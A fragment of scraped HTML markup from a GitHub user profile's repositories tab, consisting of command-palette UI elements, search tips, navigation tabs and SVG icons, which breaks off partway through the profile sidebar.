js-command-palette-dialog" data-pjax-replace id="command-palette-pjax-container" > <summary aria-label="command palette trigger"> </summary> <details-dialog class="command-palette-details-dialog d-flex flex-column flex-justify-center height-fit" aria-label="command palette"> <command-palette class="command-palette color-bg-default rounded-3 border color-shadow-small" data-return-to=/chikitang?tab=repositories data-user-id="107093285" data-activation-hotkey="Mod+k,Mod+Alt+k" data-command-mode-hotkey="Mod+Shift+k" data-action=" command-palette-page-stack-updated:command-palette#updateInputScope itemsUpdated:command-palette#itemsUpdated keydown:command-palette#onKeydown loadingStateChanged:command-palette#loadingStateChanged selectedItemChanged:command-palette#selectedItemChanged pageFetchError:command-palette#pageFetchError "> <command-palette-mode data-char="#" data-scope-types="[""]" data-placeholder="Search issues and pull requests" ></command-palette-mode> <command-palette-mode data-char="#" data-scope-types="["owner","repository"]" data-placeholder="Search issues, pull requests, discussions, and projects" ></command-palette-mode> <command-palette-mode data-char="!" data-scope-types="["owner","repository"]" data-placeholder="Search projects" ></command-palette-mode> <command-palette-mode data-char="@" data-scope-types="[""]" data-placeholder="Search or jump to a user, organization, or repository" ></command-palette-mode> <command-palette-mode data-char="@" data-scope-types="["owner"]" data-placeholder="Search or jump to a repository" ></command-palette-mode> <command-palette-mode data-char="/" data-scope-types="["repository"]" data-placeholder="Search files" ></command-palette-mode> <command-palette-mode data-char="?" ></command-palette-mode> <command-palette-mode data-char=">" data-placeholder="Run a command" ></command-palette-mode> <command-palette-mode data-char="" data-scope-types="[""]" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-mode data-char="" data-scope-types="["owner"]" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-mode class="js-command-palette-default-mode" data-char="" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-input placeholder="Search or jump to..." data-action=" command-palette-input:command-palette#onInput command-palette-select:command-palette#onSelect command-palette-descope:command-palette#onDescope command-palette-cleared:command-palette#onInputClear " > <div class="js-search-icon d-flex flex-items-center mr-2" style="height: 26px"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search color-fg-muted"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <div class="js-spinner d-flex flex-items-center mr-2 color-fg-muted" hidden> <svg aria-label="Loading" class="anim-rotate" viewBox="0 0 16 16" fill="none" width="16" height="16"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" ></circle> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" ></path> </svg> </div> <command-palette-scope > <div data-target="command-palette-scope.placeholder" hidden class="color-fg-subtle">/ <span class="text-semibold color-fg-default">...</span> / </div> <command-palette-token data-text="chikitang" data-id="U_kgDOBmIdJQ" data-type="owner" data-value="chikitang" data-targets="command-palette-scope.tokens" class="color-fg-default text-semibold" style="white-space:nowrap;line-height:20px;" >chikitang<span class="color-fg-subtle text-normal"> / </span></command-palette-token> </command-palette-scope> <div class="command-palette-input-group flex-1 form-control border-0 box-shadow-none" style="z-index: 0"> <div class="command-palette-typeahead position-absolute d-flex flex-items-center Truncate"> <span class="typeahead-segment input-mirror" data-target="command-palette-input.mirror"></span> <span class="Truncate-text" data-target="command-palette-input.typeaheadText"></span> <span class="typeahead-segment" data-target="command-palette-input.typeaheadPlaceholder"></span> </div> <input class="js-overlay-input typeahead-input d-none" disabled tabindex="-1" aria-label="Hidden input for typeahead" > <input type="text" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false" class="js-input typeahead-input form-control border-0 box-shadow-none input-block width-full no-focus-indicator" aria-label="Command palette input" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="command-palette-page-stack" role="combobox" data-action=" input:command-palette-input#onInput keydown:command-palette-input#onKeydown " > </div> <button aria-label="clear command palette" aria-keyshortcuts="Control+Backspace" data-action="click:command-palette-input#onClear keypress:command-palette-input#onClear" data-target="command-palette-input.clearButton" id="command-palette-clear-button" hidden="hidden" type="button" data-view-component="true" class="btn-octicon command-palette-input-clear-button"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x-circle-fill"> <path fill-rule="evenodd" d="M2.343 13.657A8 8 0 1113.657 2.343 8 8 0 012.343 13.657zM6.03 4.97a.75.75 0 00-1.06 1.06L6.94 8 4.97 9.97a.75.75 0 101.06 1.06L8 9.06l1.97 1.97a.75.75 0 101.06-1.06L9.06 8l1.97-1.97a.75.75 0 10-1.06-1.06L8 6.94 6.03 4.97z"></path> </svg></button> <tool-tip hidden="hidden" for="command-palette-clear-button" data-direction="w" data-type="description" data-view-component="true">Clear</tool-tip> </command-palette-input> <command-palette-page-stack data-default-scope-id="U_kgDOBmIdJQ" data-default-scope-type="User" data-action="command-palette-page-octicons-cached:command-palette-page-stack#cacheOcticons" > <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search pull requests </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search issues </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search discussions </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">!</kbd> to search projects </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">@</kbd> to search teams </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[""]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">@</kbd> to search people and organizations </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">></kbd> to activate command mode </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Go to your accessibility settings to change your keyboard shortcuts </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type author:@me to search your content </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:pr to filter to pull requests </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:issue to filter to issues </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:project to filter to projects </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:open to filter to open content </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="mx-3 my-2 flash flash-error d-flex flex-items-center" data-scope-types="*" data-on-error> <div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> </div> <div class="px-2"> We’ve encountered an error and some results aren't available at this time. Type a new search or try again later. </div> </command-palette-tip> <command-palette-tip class="h4 color-fg-default pl-3 pb-2 pt-3" data-on-empty data-scope-types="*" data-match-mode="[^?]|^$"> No results matched your search </command-palette-tip> <div hidden> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="arrow-right-color-fg-muted"> <svg height="16" class="octicon octicon-arrow-right color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 2.97a.75.75 0 011.06 0l4.25 4.25a.75.75 0 010 1.06l-4.25 4.25a.75.75 0 01-1.06-1.06l2.97-2.97H3.75a.75.75 0 010-1.5h7.44L8.22 4.03a.75.75 0 010-1.06z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="arrow-right-color-fg-default"> <svg height="16" class="octicon octicon-arrow-right color-fg-default" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 2.97a.75.75 0 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Page" data-group-hint="" data-group-limits="{}" data-default-priority="3" > </command-palette-item-group> <command-palette-item-group data-group-id="files" data-group-title="Files" data-group-hint="" data-group-limits="{}" data-default-priority="4" > </command-palette-item-group> <command-palette-item-group data-group-id="default" data-group-title="Default" data-group-hint="" data-group-limits="{"static_items_page":50}" data-default-priority="5" > </command-palette-item-group> <command-palette-item-group data-group-id="pages" data-group-title="Pages" data-group-hint="" data-group-limits="{"repository":10}" data-default-priority="6" > </command-palette-item-group> <command-palette-item-group data-group-id="access_policies" data-group-title="Access Policies" data-group-hint="" data-group-limits="{}" data-default-priority="7" > </command-palette-item-group> <command-palette-item-group data-group-id="organizations" data-group-title="Organizations" data-group-hint="" data-group-limits="{}" data-default-priority="8" > </command-palette-item-group> <command-palette-item-group data-group-id="repositories" data-group-title="Repositories" data-group-hint="" data-group-limits="{}" data-default-priority="9" > </command-palette-item-group> <command-palette-item-group data-group-id="references" data-group-title="Issues, pull requests, and discussions" data-group-hint="Type # to filter" data-group-limits="{}" data-default-priority="10" > </command-palette-item-group> <command-palette-item-group data-group-id="teams" data-group-title="Teams" data-group-hint="" data-group-limits="{}" data-default-priority="11" > </command-palette-item-group> <command-palette-item-group data-group-id="users" data-group-title="Users" data-group-hint="" data-group-limits="{}" data-default-priority="12" > </command-palette-item-group> <command-palette-item-group data-group-id="projects" data-group-title="Projects" data-group-hint="" data-group-limits="{}" data-default-priority="13" > </command-palette-item-group> <command-palette-item-group data-group-id="footer" data-group-title="Footer" data-group-hint="" data-group-limits="{}" data-default-priority="14" > </command-palette-item-group> <command-palette-item-group data-group-id="modes_help" data-group-title="Modes" data-group-hint="" data-group-limits="{}" data-default-priority="15" > </command-palette-item-group> <command-palette-item-group data-group-id="filters_help" data-group-title="Use filters in issues, pull requests, discussions, and projects" data-group-hint="" data-group-limits="{}" data-default-priority="16" > </command-palette-item-group> <command-palette-page data-page-title="chikitang" data-scope-id="U_kgDOBmIdJQ" data-scope-type="owner" data-targets="command-palette-page-stack.defaultPages" hidden > </command-palette-page> </div> <command-palette-page data-is-root> </command-palette-page> <command-palette-page data-page-title="chikitang" data-scope-id="U_kgDOBmIdJQ" data-scope-type="owner" > </command-palette-page> </command-palette-page-stack> <server-defined-provider data-type="search-links" data-targets="command-palette.serverDefinedProviderElements"></server-defined-provider> <server-defined-provider data-type="help" data-targets="command-palette.serverDefinedProviderElements"> <command-palette-help data-group="modes_help" data-prefix="#" data-scope-types="[""]" > <span data-target="command-palette-help.titleElement">Search for <strong>issues</strong> and <strong>pull requests</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">#</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="#" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Search for <strong>issues, pull requests, discussions,</strong> and <strong>projects</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">#</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="@" data-scope-types="[""]" > <span data-target="command-palette-help.titleElement">Search for <strong>organizations, repositories,</strong> and <strong>users</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">@</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="!" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Search for <strong>projects</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">!</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix="/" data-scope-types="["repository"]" > <span data-target="command-palette-help.titleElement">Search for <strong>files</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">/</kbd> </span> </command-palette-help> <command-palette-help data-group="modes_help" data-prefix=">" > <span data-target="command-palette-help.titleElement">Activate <strong>command mode</strong></span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd">></kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# author:@me" > <span data-target="command-palette-help.titleElement">Search your issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># author:@me</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# author:@me" > <span data-target="command-palette-help.titleElement">Search your issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># author:@me</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:pr" > <span data-target="command-palette-help.titleElement">Filter to pull requests</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:pr</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:issue" > <span data-target="command-palette-help.titleElement">Filter to issues</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:issue</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:discussion" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Filter to discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:discussion</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:project" data-scope-types="["owner","repository"]" > <span data-target="command-palette-help.titleElement">Filter to projects</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:project</kbd> </span> </command-palette-help> <command-palette-help data-group="filters_help" data-prefix="# is:open" > <span data-target="command-palette-help.titleElement">Filter to open issues, pull requests, and discussions</span> <span data-target="command-palette-help.hintElement"> <kbd class="hx_kbd"># is:open</kbd> </span> </command-palette-help> </server-defined-provider> <server-defined-provider data-type="commands" data-fetch-debounce="0" data-src="/command_palette/commands" data-supported-modes="[]" data-supports-commands data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/jump_to_page_navigation" data-supported-modes="[""]" data-supported-scope-types="["","owner","repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/issues" data-supported-modes="["#","#"]" data-supported-scope-types="["owner","repository",""]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/jump_to" data-supported-modes="["@","@"]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/jump_to_members_only" data-supported-modes="["@","@","",""]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/jump_to_members_only_prefetched" data-supported-modes="["@","@","",""]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="files" data-fetch-debounce="0" data-src="/command_palette/files" data-supported-modes="["/"]" data-supported-scope-types="["repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/discussions" data-supported-modes="["#"]" data-supported-scope-types="["owner","repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/projects" data-supported-modes="["#","!"]" data-supported-scope-types="["owner","repository"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="prefetched" data-fetch-debounce="0" data-src="/command_palette/recent_issues" data-supported-modes="["#","#"]" data-supported-scope-types="["owner","repository",""]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/teams" data-supported-modes="["@",""]" data-supported-scope-types="["owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> <server-defined-provider data-type="remote" data-fetch-debounce="200" data-src="/command_palette/name_with_owner_repository" data-supported-modes="["@","@","",""]" data-supported-scope-types="["","owner"]" data-targets="command-palette.serverDefinedProviderElements" ></server-defined-provider> </command-palette> </details-dialog> </details> <div class="position-fixed bottom-0 left-0 ml-5 mb-5 js-command-palette-toasts" style="z-index: 1000"> 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2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path> </svg> Overview </a> <a aria-current="page" class="UnderlineNav-item js-responsive-underlinenav-item selected" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_REPOSITORIES","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="2878152d02a2613d43b03e73899fd932cdc33dbf741606f59108073a3be3d53e" data-tab-item="repositories" href="/chikitang?tab=repositories"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> Repositories <span title="1" data-view-component="true" class="Counter">1</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_PROJECTS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="998a9967a41db96a06d41fa60e83ae993072d339981cb58ccbd2a1e8c28b8173" data-tab-item="projects" href="/chikitang?tab=projects&type=beta"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v3.585a.746.746 0 010 .83v8.085A1.75 1.75 0 0114.25 16H6.309a.748.748 0 01-1.118 0H1.75A1.75 1.75 0 010 14.25V6.165a.746.746 0 010-.83V1.75zM1.5 6.5v7.75c0 .138.112.25.25.25H5v-8H1.5zM5 5H1.5V1.75a.25.25 0 01.25-.25H5V5zm1.5 1.5v8h7.75a.25.25 0 00.25-.25V6.5h-8zm8-1.5h-8V1.5h7.75a.25.25 0 01.25.25V5z"></path> </svg> Projects <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_PACKAGES","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="add7fd6f4f8f617c23b86cea0dd89fef5bd1ea5fe415b3492401e9a613d417be" data-tab-item="packages" href="/chikitang?tab=packages"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-package UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8.878.392a1.75 1.75 0 00-1.756 0l-5.25 3.045A1.75 1.75 0 001 4.951v6.098c0 .624.332 1.2.872 1.514l5.25 3.045a1.75 1.75 0 001.756 0l5.25-3.045c.54-.313.872-.89.872-1.514V4.951c0-.624-.332-1.2-.872-1.514L8.878.392zM7.875 1.69a.25.25 0 01.25 0l4.63 2.685L8 7.133 3.245 4.375l4.63-2.685zM2.5 5.677v5.372c0 .09.047.171.125.216l4.625 2.683V8.432L2.5 5.677zm6.25 8.271l4.625-2.683a.25.25 0 00.125-.216V5.677L8.75 8.432v5.516z"></path> </svg> Packages <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> <a class="UnderlineNav-item js-responsive-underlinenav-item" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"TAB_STARS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="9b1d942d1e97482fca652be20f1a0bdf7aadf6379f10093c52d87921e2fc4d38" data-tab-item="stars" href="/chikitang?tab=stars"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star UnderlineNav-octicon hide-sm"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path> </svg> Stars <span title="0" hidden="hidden" data-view-component="true" class="Counter">0</span> </a> </nav> <div class="position-absolute pr-3 pr-md-4 pr-lg-5 right-0 js-responsive-underlinenav-overflow" style="visibility: hidden"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path> </svg> <span class="sr-only">More</span> </div> </summary> <div data-view-component="true"> <details-menu role="menu" class="dropdown-menu dropdown-menu-sw"> <ul > <li data-menu-item="overview" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang" href="/chikitang">Overview</a> </li> <li data-menu-item="repositories" hidden> <a role="menuitem" class="js-selected-navigation-item selected dropdown-item" aria-current="page" data-selected-links=" /chikitang?tab=repositories" href="/chikitang?tab=repositories">Repositories</a> </li> <li data-menu-item="projects" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=projects&type=beta" href="/chikitang?tab=projects&type=beta">Projects</a> </li> <li data-menu-item="packages" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=packages" href="/chikitang?tab=packages">Packages</a> </li> <li data-menu-item="stars" hidden> <a role="menuitem" class="js-selected-navigation-item dropdown-item" data-selected-links=" /chikitang?tab=stars" href="/chikitang?tab=stars">Stars</a> </li> </ul> </details-menu> </div> </details></div> </div> </div> </div> </div> </div> <div class="container-xl px-3 px-md-4 px-lg-5"> <div data-view-component="true" class="Layout Layout--flowRow-until-md Layout--sidebarPosition-start Layout--sidebarPosition-flowRow-start"> <div data-view-component="true" class="Layout-sidebar"> <div class="h-card mt-md-n5" data-acv-badge-hovercards-enabled itemscope itemtype="http://schema.org/Person" > <div class="user-profile-sticky-bar js-user-profile-sticky-bar d-none d-md-block"> <div class="user-profile-mini-vcard d-table"> <span class="user-profile-mini-avatar d-table-cell v-align-middle lh-condensed-ultra pr-2"> <img class="rounded-2 avatar-user" src="https://avatars.githubusercontent.com/u/107093285?s=64&v=4" width="32" height="32" alt="@chikitang" /> </span> <span class="d-table-cell v-align-middle lh-condensed"> <strong>chikitang</strong> </span> </div> </div> <div class="js-profile-editable-replace"> <div class="clearfix d-flex d-md-block flex-items-center mb-4 mb-md-0"> <div class="position-relative d-inline-block col-2 col-md-12 mr-3 mr-md-0 flex-shrink-0" style="z-index:4;" > <a class="tooltipped tooltipped-s d-block" aria-label="Change your avatar" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"EDIT_AVATAR","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="fe768eb126278f5ea2e2be2a694fd8f3a8db38717e25f9387d181f875bad4f31" href="https://github.com/account"><img style="height:auto;" alt="" width="260" height="260" class="avatar avatar-user width-full border color-bg-default" src="https://avatars.githubusercontent.com/u/107093285?v=4" /></a> <div class="user-status-container position-relative hide-sm hide-md"> <div class="f5 js-user-status-context user-status-circle-badge-container user-status-editable" data-url="/users/status?circle=1&compact=0&link_mentions=1&truncate=0" > <div class="js-user-status-container user-status-circle-badge d-inline-block lh-condensed-ultra p-2" data-team-hovercards-enabled> <details class="js-user-status-details details-reset details-overlay details-overlay-dark"> <summary class="btn-link btn-block Link--secondary no-underline js-toggle-user-status-edit toggle-user-status-edit" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":107093285,"target":"EDIT_USER_STATUS","user_id":107093285,"originating_url":"https://github.com/chikitang?tab=repositories"}}" data-hydro-click-hmac="797b66215ac5265bc63e61ea380b67a3995b5dd86fe8fab5deea9ee6fbb92bc9"> <div class="d-flex flex-items-center flex-items-stretch"> <div class="f6 lh-condensed user-status-header d-inline-flex user-status-emoji-only-header circle"> <div class="user-status-emoji-container flex-shrink-0 mr-2 d-flex flex-items-center flex-justify-center "> <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM5 8a1 1 0 100-2 1 1 0 000 2zm7-1a1 1 0 11-2 0 1 1 0 012 0zM5.32 9.636a.75.75 0 011.038.175l.007.009c.103.118.22.222.35.31.264.178.683.37 1.285.37.602 0 1.02-.192 1.285-.371.13-.088.247-.192.35-.31l.007-.008a.75.75 0 